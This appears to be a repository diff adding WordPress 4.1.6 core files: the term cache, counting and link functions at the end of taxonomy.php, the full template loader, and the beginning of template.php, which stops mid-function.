+//
+// Cache
+//
+
+/**
+ * Removes the taxonomy relationship to terms from the cache.
+ *
+ * Will remove the entire taxonomy relationship containing term $object_id. The
+ * term IDs have to exist within the taxonomy $object_type for the deletion to
+ * take place.
+ *
+ * @since 2.3.0
+ *
+ * @see get_object_taxonomies() for more on $object_type
+ *
+ * @param int|array $object_ids Single or list of term object ID(s)
+ * @param array|string $object_type The taxonomy object type
+ */
+function clean_object_term_cache($object_ids, $object_type) {
+	if ( !is_array($object_ids) )
+		$object_ids = array($object_ids);
+
+	$taxonomies = get_object_taxonomies( $object_type );
+
+	foreach ( $object_ids as $id ) {
+		foreach ( $taxonomies as $taxonomy ) {
+			wp_cache_delete($id, "{$taxonomy}_relationships");
+		}
+	}
+
+	/**
+	 * Fires after the object term cache has been cleaned.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array  $object_ids An array of object IDs.
+	 * @param string $objet_type Object type.
+	 */
+	do_action( 'clean_object_term_cache', $object_ids, $object_type );
+}
+
+/**
+ * Will remove all of the term ids from the cache.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|array $ids Single or list of Term IDs
+ * @param string $taxonomy Can be empty and will assume tt_ids, else will use for context.
+ * @param bool $clean_taxonomy Whether to clean taxonomy wide caches (true), or just individual term object caches (false). Default is true.
+ */
+function clean_term_cache($ids, $taxonomy = '', $clean_taxonomy = true) {
+	global $wpdb;
+
+	if ( !is_array($ids) )
+		$ids = array($ids);
+
+	$taxonomies = array();
+	// If no taxonomy, assume tt_ids.
+	if ( empty($taxonomy) ) {
+		$tt_ids = array_map('intval', $ids);
+		$tt_ids = implode(', ', $tt_ids);
+		$terms = $wpdb->get_results("SELECT term_id, taxonomy FROM $wpdb->term_taxonomy WHERE term_taxonomy_id IN ($tt_ids)");
+		$ids = array();
+		foreach ( (array) $terms as $term ) {
+			$taxonomies[] = $term->taxonomy;
+			$ids[] = $term->term_id;
+			wp_cache_delete($term->term_id, $term->taxonomy);
+		}
+		$taxonomies = array_unique($taxonomies);
+	} else {
+		$taxonomies = array($taxonomy);
+		foreach ( $taxonomies as $taxonomy ) {
+			foreach ( $ids as $id ) {
+				wp_cache_delete($id, $taxonomy);
+			}
+		}
+	}
+
+	foreach ( $taxonomies as $taxonomy ) {
+		if ( $clean_taxonomy ) {
+			wp_cache_delete('all_ids', $taxonomy);
+			wp_cache_delete('get', $taxonomy);
+			delete_option("{$taxonomy}_children");
+			// Regenerate {$taxonomy}_children
+			_get_term_hierarchy($taxonomy);
+		}
+
+		/**
+		 * Fires once after each taxonomy's term cache has been cleaned.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param array  $ids      An array of term IDs.
+		 * @param string $taxonomy Taxonomy slug.
+		 */
+		do_action( 'clean_term_cache', $ids, $taxonomy );
+	}
+
+	wp_cache_set( 'last_changed', microtime(), 'terms' );
+}
+
+/**
+ * Retrieves the taxonomy relationship to the term object id.
+ *
+ * @since 2.3.0
+ *
+ * @param int|array $id Term object ID
+ * @param string $taxonomy Taxonomy Name
+ * @return bool|array Empty array if $terms found, but not $taxonomy. False if nothing is in cache for $taxonomy and $id.
+ */
+function get_object_term_cache($id, $taxonomy) {
+	$cache = wp_cache_get($id, "{$taxonomy}_relationships");
+	return $cache;
+}
+
+/**
+ * Updates the cache for Term ID(s).
+ *
+ * Will only update the cache for terms not already cached.
+ *
+ * The $object_ids expects that the ids be separated by commas, if it is a
+ * string.
+ *
+ * It should be noted that update_object_term_cache() is very time extensive. It
+ * is advised that the function is not called very often or at least not for a
+ * lot of terms that exist in a lot of taxonomies. The amount of time increases
+ * for each term and it also increases for each taxonomy the term belongs to.
+ *
+ * @since 2.3.0
+ *
+ * @param string|array $object_ids Single or list of term object ID(s)
+ * @param array|string $object_type The taxonomy object type
+ * @return null|false Null value is given with empty $object_ids. False if
+ */
+function update_object_term_cache($object_ids, $object_type) {
+	if ( empty($object_ids) )
+		return;
+
+	if ( !is_array($object_ids) )
+		$object_ids = explode(',', $object_ids);
+
+	$object_ids = array_map('intval', $object_ids);
+
+	$taxonomies = get_object_taxonomies($object_type);
+
+	$ids = array();
+	foreach ( (array) $object_ids as $id ) {
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( false === wp_cache_get($id, "{$taxonomy}_relationships") ) {
+				$ids[] = $id;
+				break;
+			}
+		}
+	}
+
+	if ( empty( $ids ) )
+		return false;
+
+	$terms = wp_get_object_terms($ids, $taxonomies, array('fields' => 'all_with_object_id'));
+
+	$object_terms = array();
+	foreach ( (array) $terms as $term )
+		$object_terms[$term->object_id][$term->taxonomy][$term->term_id] = $term;
+
+	foreach ( $ids as $id ) {
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( ! isset($object_terms[$id][$taxonomy]) ) {
+				if ( !isset($object_terms[$id]) )
+					$object_terms[$id] = array();
+				$object_terms[$id][$taxonomy] = array();
+			}
+		}
+	}
+
+	foreach ( $object_terms as $id => $value ) {
+		foreach ( $value as $taxonomy => $terms ) {
+			wp_cache_add( $id, $terms, "{$taxonomy}_relationships" );
+		}
+	}
+}
+
+/**
+ * Updates Terms to Taxonomy in cache.
+ *
+ * @since 2.3.0
+ *
+ * @param array $terms List of Term objects to change
+ * @param string $taxonomy Optional. Update Term to this taxonomy in cache
+ */
+function update_term_cache($terms, $taxonomy = '') {
+	foreach ( (array) $terms as $term ) {
+		$term_taxonomy = $taxonomy;
+		if ( empty($term_taxonomy) )
+			$term_taxonomy = $term->taxonomy;
+
+		wp_cache_add( $term->term_id, $term, $term_taxonomy );
+	}
+}
+
+//
+// Private
+//
+
+/**
+ * Retrieves children of taxonomy as Term IDs.
+ *
+ * @access private
+ * @since 2.3.0
+ *
+ * @param string $taxonomy Taxonomy Name
+ * @return array Empty if $taxonomy isn't hierarchical or returns children as Term IDs.
+ */
+function _get_term_hierarchy($taxonomy) {
+	if ( !is_taxonomy_hierarchical($taxonomy) )
+		return array();
+	$children = get_option("{$taxonomy}_children");
+
+	if ( is_array($children) )
+		return $children;
+	$children = array();
+	$terms = get_terms($taxonomy, array('get' => 'all', 'orderby' => 'id', 'fields' => 'id=>parent'));
+	foreach ( $terms as $term_id => $parent ) {
+		if ( $parent > 0 )
+			$children[$parent][] = $term_id;
+	}
+	update_option("{$taxonomy}_children", $children);
+
+	return $children;
+}
+
+/**
+ * Get the subset of $terms that are descendants of $term_id.
+ *
+ * If $terms is an array of objects, then _get_term_children returns an array of objects.
+ * If $terms is an array of IDs, then _get_term_children returns an array of IDs.
+ *
+ * @access private
+ * @since 2.3.0
+ *
+ * @param int $term_id The ancestor term: all returned terms should be descendants of $term_id.
+ * @param array $terms The set of terms---either an array of term objects or term IDs---from which those that are descendants of $term_id will be chosen.
+ * @param string $taxonomy The taxonomy which determines the hierarchy of the terms.
+ * @return array The subset of $terms that are descendants of $term_id.
+ */
+function _get_term_children($term_id, $terms, $taxonomy) {
+	$empty_array = array();
+	if ( empty($terms) )
+		return $empty_array;
+
+	$term_list = array();
+	$has_children = _get_term_hierarchy($taxonomy);
+
+	if  ( ( 0 != $term_id ) && ! isset($has_children[$term_id]) )
+		return $empty_array;
+
+	foreach ( (array) $terms as $term ) {
+		$use_id = false;
+		if ( !is_object($term) ) {
+			$term = get_term($term, $taxonomy);
+			if ( is_wp_error( $term ) )
+				return $term;
+			$use_id = true;
+		}
+
+		if ( $term->term_id == $term_id ) {
+			continue;
+		}
+
+		if ( $term->parent == $term_id ) {
+			if ( $use_id )
+				$term_list[] = $term->term_id;
+			else
+				$term_list[] = $term;
+
+			if ( !isset($has_children[$term->term_id]) )
+				continue;
+
+			if ( $children = _get_term_children($term->term_id, $terms, $taxonomy) )
+				$term_list = array_merge($term_list, $children);
+		}
+	}
+
+	return $term_list;
+}
+
+/**
+ * Add count of children to parent count.
+ *
+ * Recalculates term counts by including items from child terms. Assumes all
+ * relevant children are already in the $terms argument.
+ *
+ * @access private
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $terms List of Term IDs
+ * @param string $taxonomy Term Context
+ * @return null Will break from function if conditions are not met.
+ */
+function _pad_term_counts(&$terms, $taxonomy) {
+	global $wpdb;
+
+	// This function only works for hierarchical taxonomies like post categories.
+	if ( !is_taxonomy_hierarchical( $taxonomy ) )
+		return;
+
+	$term_hier = _get_term_hierarchy($taxonomy);
+
+	if ( empty($term_hier) )
+		return;
+
+	$term_items = array();
+
+	foreach ( (array) $terms as $key => $term ) {
+		$terms_by_id[$term->term_id] = & $terms[$key];
+		$term_ids[$term->term_taxonomy_id] = $term->term_id;
+	}
+
+	// Get the object and term ids and stick them in a lookup table
+	$tax_obj = get_taxonomy($taxonomy);
+	$object_types = esc_sql($tax_obj->object_type);
+	$results = $wpdb->get_results("SELECT object_id, term_taxonomy_id FROM $wpdb->term_relationships INNER JOIN $wpdb->posts ON object_id = ID WHERE term_taxonomy_id IN (" . implode(',', array_keys($term_ids)) . ") AND post_type IN ('" . implode("', '", $object_types) . "') AND post_status = 'publish'");
+	foreach ( $results as $row ) {
+		$id = $term_ids[$row->term_taxonomy_id];
+		$term_items[$id][$row->object_id] = isset($term_items[$id][$row->object_id]) ? ++$term_items[$id][$row->object_id] : 1;
+	}
+
+	// Touch every ancestor's lookup row for each post in each term
+	foreach ( $term_ids as $term_id ) {
+		$child = $term_id;
+		while ( !empty( $terms_by_id[$child] ) && $parent = $terms_by_id[$child]->parent ) {
+			if ( !empty( $term_items[$term_id] ) )
+				foreach ( $term_items[$term_id] as $item_id => $touches ) {
+					$term_items[$parent][$item_id] = isset($term_items[$parent][$item_id]) ? ++$term_items[$parent][$item_id]: 1;
+				}
+			$child = $parent;
+		}
+	}
+
+	// Transfer the touched cells
+	foreach ( (array) $term_items as $id => $items )
+		if ( isset($terms_by_id[$id]) )
+			$terms_by_id[$id]->count = count($items);
+}
+
+//
+// Default callbacks
+//
+
+/**
+ * Will update term count based on object types of the current taxonomy.
+ *
+ * Private function for the default callback for post_tag and category
+ * taxonomies.
+ *
+ * @access private
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $terms List of Term taxonomy IDs
+ * @param object $taxonomy Current taxonomy object of terms
+ */
+function _update_post_term_count( $terms, $taxonomy ) {
+	global $wpdb;
+
+	$object_types = (array) $taxonomy->object_type;
+
+	foreach ( $object_types as &$object_type )
+		list( $object_type ) = explode( ':', $object_type );
+
+	$object_types = array_unique( $object_types );
+
+	if ( false !== ( $check_attachments = array_search( 'attachment', $object_types ) ) ) {
+		unset( $object_types[ $check_attachments ] );
+		$check_attachments = true;
+	}
+
+	if ( $object_types )
+		$object_types = esc_sql( array_filter( $object_types, 'post_type_exists' ) );
+
+	foreach ( (array) $terms as $term ) {
+		$count = 0;
+
+		// Attachments can be 'inherit' status, we need to base count off the parent's status if so
+		if ( $check_attachments )
+			$count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts p1 WHERE p1.ID = $wpdb->term_relationships.object_id AND ( post_status = 'publish' OR ( post_status = 'inherit' AND post_parent > 0 AND ( SELECT post_status FROM $wpdb->posts WHERE ID = p1.post_parent ) = 'publish' ) ) AND post_type = 'attachment' AND term_taxonomy_id = %d", $term ) );
+
+		if ( $object_types )
+			$count += (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type IN ('" . implode("', '", $object_types ) . "') AND term_taxonomy_id = %d", $term ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edit_term_taxonomy', $term, $taxonomy );
+		$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edited_term_taxonomy', $term, $taxonomy );
+	}
+}
+
+/**
+ * Will update term count based on number of objects.
+ *
+ * Default callback for the link_category taxonomy.
+ *
+ * @since 3.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $terms List of Term taxonomy IDs
+ * @param object $taxonomy Current taxonomy object of terms
+ */
+function _update_generic_term_count( $terms, $taxonomy ) {
+	global $wpdb;
+
+	foreach ( (array) $terms as $term ) {
+		$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edit_term_taxonomy', $term, $taxonomy );
+		$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edited_term_taxonomy', $term, $taxonomy );
+	}
+}
+
+/**
+ * Generate a permalink for a taxonomy term archive.
+ *
+ * @since 2.5.0
+ *
+ * @param object|int|string $term     The term object, ID, or slug whose link will be retrieved.
+ * @param string            $taxonomy Optional. Taxonomy. Default empty.
+ * @return string|WP_Error HTML link to taxonomy term archive on success, WP_Error if term does not exist.
+ */
+function get_term_link( $term, $taxonomy = '') {
+	global $wp_rewrite;
+
+	if ( !is_object($term) ) {
+		if ( is_int($term) ) {
+			$term = get_term($term, $taxonomy);
+		} else {
+			$term = get_term_by('slug', $term, $taxonomy);
+		}
+	}
+
+	if ( !is_object($term) )
+		$term = new WP_Error('invalid_term', __('Empty Term'));
+
+	if ( is_wp_error( $term ) )
+		return $term;
+
+	$taxonomy = $term->taxonomy;
+
+	$termlink = $wp_rewrite->get_extra_permastruct($taxonomy);
+
+	$slug = $term->slug;
+	$t = get_taxonomy($taxonomy);
+
+	if ( empty($termlink) ) {
+		if ( 'category' == $taxonomy )
+			$termlink = '?cat=' . $term->term_id;
+		elseif ( $t->query_var )
+			$termlink = "?$t->query_var=$slug";
+		else
+			$termlink = "?taxonomy=$taxonomy&term=$slug";
+		$termlink = home_url($termlink);
+	} else {
+		if ( $t->rewrite['hierarchical'] ) {
+			$hierarchical_slugs = array();
+			$ancestors = get_ancestors( $term->term_id, $taxonomy, 'taxonomy' );
+			foreach ( (array)$ancestors as $ancestor ) {
+				$ancestor_term = get_term($ancestor, $taxonomy);
+				$hierarchical_slugs[] = $ancestor_term->slug;
+			}
+			$hierarchical_slugs = array_reverse($hierarchical_slugs);
+			$hierarchical_slugs[] = $slug;
+			$termlink = str_replace("%$taxonomy%", implode('/', $hierarchical_slugs), $termlink);
+		} else {
+			$termlink = str_replace("%$taxonomy%", $slug, $termlink);
+		}
+		$termlink = home_url( user_trailingslashit($termlink, 'category') );
+	}
+	// Back Compat filters.
+	if ( 'post_tag' == $taxonomy ) {
+
+		/**
+		 * Filter the tag link.
+		 *
+		 * @since 2.3.0
+		 * @deprecated 2.5.0 Use 'term_link' instead.
+		 *
+		 * @param string $termlink Tag link URL.
+		 * @param int    $term_id  Term ID.
+		 */
+		$termlink = apply_filters( 'tag_link', $termlink, $term->term_id );
+	} elseif ( 'category' == $taxonomy ) {
+
+		/**
+		 * Filter the category link.
+		 *
+		 * @since 1.5.0
+		 * @deprecated 2.5.0 Use 'term_link' instead.
+		 *
+		 * @param string $termlink Category link URL.
+		 * @param int    $term_id  Term ID.
+		 */
+		$termlink = apply_filters( 'category_link', $termlink, $term->term_id );
+	}
+
+	/**
+	 * Filter the term link.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $termlink Term link URL.
+	 * @param object $term     Term object.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	return apply_filters( 'term_link', $termlink, $term, $taxonomy );
+}
+
+/**
+ * Display the taxonomies of a post with available options.
+ *
+ * This function can be used within the loop to display the taxonomies for a
+ * post without specifying the Post ID. You can also use it outside the Loop to
+ * display the taxonomies for a specific post.
+ *
+ * @since 2.5.0
+ *
+ * @param array $args {
+ *     Arguments about which post to use and how to format the output. Shares all of the arguments supported by
+ *     {@link get_the_taxonomies()}, in addition to the following.
+ *
+ *     @type  int|WP_Post $post   Post ID or object to get taxonomies of. Default current post.
+ *     @type  string      $before Displays before the taxonomies. Default empty string.
+ *     @type  string      $sep    Separates each taxonomy. Default is a space.
+ *     @type  string      $after  Displays after the taxonomies. Default empty string.
+ * }
+ * @param array $args See {@link get_the_taxonomies()} for a description of arguments and their defaults.
+ */
+function the_taxonomies( $args = array() ) {
+	$defaults = array(
+		'post' => 0,
+		'before' => '',
+		'sep' => ' ',
+		'after' => '',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	echo $r['before'] . join( $r['sep'], get_the_taxonomies( $r['post'], $r ) ) . $r['after'];
+}
+
+/**
+ * Retrieve all taxonomies associated with a post.
+ *
+ * This function can be used within the loop. It will also return an array of
+ * the taxonomies with links to the taxonomy and name.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @param array $args {
+ *     Arguments about how to format the list of taxonomies.
+ *
+ *     @type string $template      Template for displaying a taxonomy label and list of terms.
+ *                                 Default is "Label: Terms."
+ *     @type string $term_template Template for displaying a single term in the list. Default is the term name
+ *                                 linked to its archive.
+ * }
+ * @return array List of taxonomies.
+ */
+function get_the_taxonomies( $post = 0, $args = array() ) {
+	$post = get_post( $post );
+
+	$args = wp_parse_args( $args, array(
+		/* translators: %s: taxonomy label, %l: list of terms formatted as per $term_template */
+		'template' => __( '%s: %l.' ),
+		'term_template' => '<a href="%1$s">%2$s</a>',
+	) );
+
+	$taxonomies = array();
+
+	if ( ! $post ) {
+		return $taxonomies;
+	}
+
+	foreach ( get_object_taxonomies( $post ) as $taxonomy ) {
+		$t = (array) get_taxonomy( $taxonomy );
+		if ( empty( $t['label'] ) ) {
+			$t['label'] = $taxonomy;
+		}
+		if ( empty( $t['args'] ) ) {
+			$t['args'] = array();
+		}
+		if ( empty( $t['template'] ) ) {
+			$t['template'] = $args['template'];
+		}
+		if ( empty( $t['term_template'] ) ) {
+			$t['term_template'] = $args['term_template'];
+		}
+
+		$terms = get_object_term_cache( $post->ID, $taxonomy );
+		if ( false === $terms ) {
+			$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
+		}
+		$links = array();
+
+		foreach ( $terms as $term ) {
+			$links[] = wp_sprintf( $t['term_template'], esc_attr( get_term_link( $term ) ), $term->name );
+		}
+		if ( $links ) {
+			$taxonomies[$taxonomy] = wp_sprintf( $t['template'], $t['label'], $links, $terms );
+		}
+	}
+	return $taxonomies;
+}
+
+/**
+ * Retrieve all taxonomies of a post with just the names.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return array
+ */
+function get_post_taxonomies( $post = 0 ) {
+	$post = get_post( $post );
+
+	return get_object_taxonomies($post);
+}
+
+/**
+ * Determine if the given object is associated with any of the given terms.
+ *
+ * The given terms are checked against the object's terms' term_ids, names and slugs.
+ * Terms given as integers will only be checked against the object's terms' term_ids.
+ * If no terms are given, determines if object is associated with any terms in the given taxonomy.
+ *
+ * @since 2.7.0
+ *
+ * @param int $object_id ID of the object (post ID, link ID, ...)
+ * @param string $taxonomy Single taxonomy name
+ * @param int|string|array $terms Optional. Term term_id, name, slug or array of said
+ * @return bool|WP_Error. WP_Error on input error.
+ */
+function is_object_in_term( $object_id, $taxonomy, $terms = null ) {
+	if ( !$object_id = (int) $object_id )
+		return new WP_Error( 'invalid_object', __( 'Invalid object ID' ) );
+
+	$object_terms = get_object_term_cache( $object_id, $taxonomy );
+	if ( false === $object_terms )
+		 $object_terms = wp_get_object_terms( $object_id, $taxonomy );
+
+	if ( is_wp_error( $object_terms ) )
+		return $object_terms;
+	if ( empty( $object_terms ) )
+		return false;
+	if ( empty( $terms ) )
+		return ( !empty( $object_terms ) );
+
+	$terms = (array) $terms;
+
+	if ( $ints = array_filter( $terms, 'is_int' ) )
+		$strs = array_diff( $terms, $ints );
+	else
+		$strs =& $terms;
+
+	foreach ( $object_terms as $object_term ) {
+		// If term is an int, check against term_ids only.
+		if ( $ints && in_array( $object_term->term_id, $ints ) ) {
+			return true;
+		}
+
+		if ( $strs ) {
+			// Only check numeric strings against term_id, to avoid false matches due to type juggling.
+			$numeric_strs = array_map( 'intval', array_filter( $strs, 'is_numeric' ) );
+			if ( in_array( $object_term->term_id, $numeric_strs, true ) ) {
+				return true;
+			}
+
+			if ( in_array( $object_term->name, $strs ) ) return true;
+			if ( in_array( $object_term->slug, $strs ) ) return true;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Determine if the given object type is associated with the given taxonomy.
+ *
+ * @since 3.0.0
+ *
+ * @param string $object_type Object type string
+ * @param string $taxonomy Single taxonomy name
+ * @return bool True if object is associated with the taxonomy, otherwise false.
+ */
+function is_object_in_taxonomy($object_type, $taxonomy) {
+	$taxonomies = get_object_taxonomies($object_type);
+
+	if ( empty($taxonomies) )
+		return false;
+
+	if ( in_array($taxonomy, $taxonomies) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Get an array of ancestor IDs for a given object.
+ *
+ * @since 3.1.0
+ * @since 4.1.0 Introduced the `$resource_type` argument.
+ *
+ * @param int    $object_id     Optional. The ID of the object. Default 0.
+ * @param string $object_type   Optional. The type of object for which we'll be retrieving
+ *                              ancestors. Accepts a post type or a taxonomy name. Default empty.
+ * @param string $resource_type Optional. Type of resource $object_type is. Accepts 'post_type'
+ *                              or 'taxonomy'. Default empty.
+ * @return array An array of ancestors from lowest to highest in the hierarchy.
+ */
+function get_ancestors( $object_id = 0, $object_type = '', $resource_type = '' ) {
+	$object_id = (int) $object_id;
+
+	$ancestors = array();
+
+	if ( empty( $object_id ) ) {
+
+		/** This filter is documented in wp-includes/taxonomy.php */
+		return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type );
+	}
+
+	if ( ! $resource_type ) {
+		if ( is_taxonomy_hierarchical( $object_type ) ) {
+			$resource_type = 'taxonomy';
+		} else if ( post_type_exists( $object_type ) ) {
+			$resource_type = 'post_type';
+		}
+	}
+
+	if ( 'taxonomy' === $resource_type ) {
+		$term = get_term($object_id, $object_type);
+		while ( ! is_wp_error($term) && ! empty( $term->parent ) && ! in_array( $term->parent, $ancestors ) ) {
+			$ancestors[] = (int) $term->parent;
+			$term = get_term($term->parent, $object_type);
+		}
+	} elseif ( 'post_type' === $resource_type ) {
+		$ancestors = get_post_ancestors($object_id);
+	}
+
+	/**
+	 * Filter a given object's ancestors.
+	 *
+	 * @since 3.1.0
+	 * @since 4.1.1 Introduced the `$resource_type` parameter.
+	 *
+	 * @param array  $ancestors     An array of object ancestors.
+	 * @param int    $object_id     Object ID.
+	 * @param string $object_type   Type of object.
+	 * @param string $resource_type Type of resource $object_type is.
+	 */
+	return apply_filters( 'get_ancestors', $ancestors, $object_id, $object_type, $resource_type );
+}
+
+/**
+ * Returns the term's parent's term_ID
+ *
+ * @since 3.1.0
+ *
+ * @param int $term_id
+ * @param string $taxonomy
+ *
+ * @return int|bool false on error
+ */
+function wp_get_term_taxonomy_parent_id( $term_id, $taxonomy ) {
+	$term = get_term( $term_id, $taxonomy );
+	if ( !$term || is_wp_error( $term ) )
+		return false;
+	return (int) $term->parent;
+}
+
+/**
+ * Checks the given subset of the term hierarchy for hierarchy loops.
+ * Prevents loops from forming and breaks those that it finds.
+ *
+ * Attached to the wp_update_term_parent filter.
+ *
+ * @since 3.1.0
+ *
+ * @param int $parent term_id of the parent for the term we're checking.
+ * @param int $term_id The term we're checking.
+ * @param string $taxonomy The taxonomy of the term we're checking.
+ *
+ * @return int The new parent for the term.
+ */
+function wp_check_term_hierarchy_for_loops( $parent, $term_id, $taxonomy ) {
+	// Nothing fancy here - bail
+	if ( !$parent )
+		return 0;
+
+	// Can't be its own parent
+	if ( $parent == $term_id )
+		return 0;
+
+	// Now look for larger loops
+
+	if ( !$loop = wp_find_hierarchy_loop( 'wp_get_term_taxonomy_parent_id', $term_id, $parent, array( $taxonomy ) ) )
+		return $parent; // No loop
+
+	// Setting $parent to the given value causes a loop
+	if ( isset( $loop[$term_id] ) )
+		return 0;
+
+	// There's a loop, but it doesn't contain $term_id. Break the loop.
+	foreach ( array_keys( $loop ) as $loop_member )
+		wp_update_term( $loop_member, $taxonomy, array( 'parent' => 0 ) );
+
+	return $parent;
+}
Index: /tags/4.1.6/src/wp-includes/template-loader.php
===================================================================
--- /tags/4.1.6/src/wp-includes/template-loader.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/template-loader.php	(revision 33402)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * Loads the correct template based on the visitor's url
+ * @package WordPress
+ */
+if ( defined('WP_USE_THEMES') && WP_USE_THEMES )
+	/**
+	 * Fires before determining which template to load.
+	 *
+	 * @since 1.5.0
+	 */
+	do_action( 'template_redirect' );
+
+/**
+ * Filter whether to allow 'HEAD' requests to generate content.
+ *
+ * Provides a significant performance bump by exiting before the page
+ * content loads for 'HEAD' requests. See #14348.
+ *
+ * @since 3.5.0
+ *
+ * @param bool $exit Whether to exit without generating any content for 'HEAD' requests. Default true.
+ */
+if ( 'HEAD' === $_SERVER['REQUEST_METHOD'] && apply_filters( 'exit_on_http_head', true ) )
+	exit();
+
+// Process feeds and trackbacks even if not using themes.
+if ( is_robots() ) :
+	/**
+	 * Fired when the template loader determines a robots.txt request.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'do_robots' );
+	return;
+elseif ( is_feed() ) :
+	do_feed();
+	return;
+elseif ( is_trackback() ) :
+	include( ABSPATH . 'wp-trackback.php' );
+	return;
+endif;
+
+if ( defined('WP_USE_THEMES') && WP_USE_THEMES ) :
+	$template = false;
+	if     ( is_404()            && $template = get_404_template()            ) :
+	elseif ( is_search()         && $template = get_search_template()         ) :
+	elseif ( is_front_page()     && $template = get_front_page_template()     ) :
+	elseif ( is_home()           && $template = get_home_template()           ) :
+	elseif ( is_post_type_archive() && $template = get_post_type_archive_template() ) :
+	elseif ( is_tax()            && $template = get_taxonomy_template()       ) :
+	elseif ( is_attachment()     && $template = get_attachment_template()     ) :
+		remove_filter('the_content', 'prepend_attachment');
+	elseif ( is_single()         && $template = get_single_template()         ) :
+	elseif ( is_page()           && $template = get_page_template()           ) :
+	elseif ( is_category()       && $template = get_category_template()       ) :
+	elseif ( is_tag()            && $template = get_tag_template()            ) :
+	elseif ( is_author()         && $template = get_author_template()         ) :
+	elseif ( is_date()           && $template = get_date_template()           ) :
+	elseif ( is_archive()        && $template = get_archive_template()        ) :
+	elseif ( is_comments_popup() && $template = get_comments_popup_template() ) :
+	elseif ( is_paged()          && $template = get_paged_template()          ) :
+	else :
+		$template = get_index_template();
+	endif;
+	/**
+	 * Filter the path of the current template before including it.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $template The path of the template to include.
+	 */
+	if ( $template = apply_filters( 'template_include', $template ) )
+		include( $template );
+	return;
+endif;
Index: /tags/4.1.6/src/wp-includes/template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/template.php	(revision 33402)
@@ -0,0 +1,505 @@
+<?php
+/**
+ * Template loading functions.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve path to a template
+ *
+ * Used to quickly retrieve the path of a template without including the file
+ * extension. It will also check the parent theme, if the file exists, with
+ * the use of {@link locate_template()}. Allows for more generic template location
+ * without the use of the other get_*_template() functions.
+ *
+ * @since 1.5.0
+ *
+ * @param string $type Filename without extension.
+ * @param array $templates An optional list of template candidates
+ * @return string Full path to template file.
+ */
+function get_query_template( $type, $templates = array() ) {
+	$type = preg_replace( '|[^a-z0-9-]+|', '', $type );
+
+	if ( empty( $templates ) )
+		$templates = array("{$type}.php");
+
+	$template = locate_template( $templates );
+	/**
+	 * Filter the path of the queried template by type.
+	 *
+	 * The dynamic portion of the hook name, `$type`, refers to the filename
+	 * -- minus the extension -- of the file to load. This hook also applies
+	 * to various types of files loaded as part of the Template Hierarchy.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $template Path to the template. See {@see locate_template()}.
+	 */
+	return apply_filters( "{$type}_template", $template );
+}
+
+/**
+ * Retrieve path of index template in current or parent template.
+ *
+ * The template path is filterable via the 'index_template' hook.
+ *
+ * @since 3.0.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to index template file.
+ */
+function get_index_template() {
+	return get_query_template('index');
+}
+
+/**
+ * Retrieve path of 404 template in current or parent template.
+ *
+ * The template path is filterable via the '404_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to 404 template file.
+ */
+function get_404_template() {
+	return get_query_template('404');
+}
+
+/**
+ * Retrieve path of archive template in current or parent template.
+ *
+ * The template path is filterable via the 'archive_template' hook.
+ *
+ * @since 1.5.0
+ *
+ * @see get_query_template()
+ *
+ * @return string Full path to archive template file.
+ */
+function get_archive_template() {
+	$post_types = array_filter( (array) get_query_var( 'post_type' ) );
+
+	$templates = array();
+
+	if ( count( $post_types ) == 1 ) {
+		$post_type = reset( $post_types );
+		$templates[] = "archive-{$post_type}.php";
+	}
+	$templates[] = 'archive.php';
+
+	return get_query_template( 'archive', $templates );
+}
+
+/**
+ * Retrieve path of post type archive template in current or parent template.
+ *
+ * The template path is filterable via the 'archive_template' hook.
+ *
+ * @since 3.7.0
+ *
+ * @see get_archive_template()
+ *
+ * @return string Full path to archive template file.
+ */
+function get_post_type_archive_template() {
+	$post_type = get_query_var( 'post_type' );
+	if ( is_array( $post_type ) )
+		$post_type = reset( $post_type );
+
+	$obj = get_post_type_object( $post_type );
